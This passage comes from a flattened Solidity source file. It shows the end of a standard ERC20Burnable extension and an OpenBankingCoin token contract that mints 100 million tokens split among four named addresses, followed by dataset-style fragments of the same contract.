* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), currentAllowance - amount);
_burn(account, amount);
}
}
// File: OpenBankingCoin.sol
pragma solidity ^0.8.0;
/**
* Total supply 100 million
* 25 million FaizPay
* 25 million Faiz
* 25 million Stefan
* 25 million Gosia
*/
contract OpenBankingCoin is ERC20, ERC20Burnable {
constructor() ERC20("OpenBankingCoin", "OBC") {
_mint(0x0f35c2d5009cfEc41B1585c0a5127484b4000d17, (100000000 * 10 ** 18) / 4); // FAIZPAY
_mint(0x6876f65A4c2967F132CBDd8690f7E7D826CF49fc, (100000000 * 10 ** 18) / 4); // FAIZ
_mint(0x21205717C65e32660738A6d6bE45995bEA059514, (100000000 * 10 ** 18) / 4); // STEFAN
_mint(0xdE325DEF115464652826e1926b931E3E9acbE749, (100000000 * 10 ** 18) / 4); // GOSIA
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
}
|
* Total supply 100 million 25 million FaizPay 25 million Faiz 25 million Stefan 25 million Gosia/
|
contract OpenBankingCoin is ERC20, ERC20Burnable {
constructor() ERC20("OpenBankingCoin", "OBC") {
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
}
| 14,993,541
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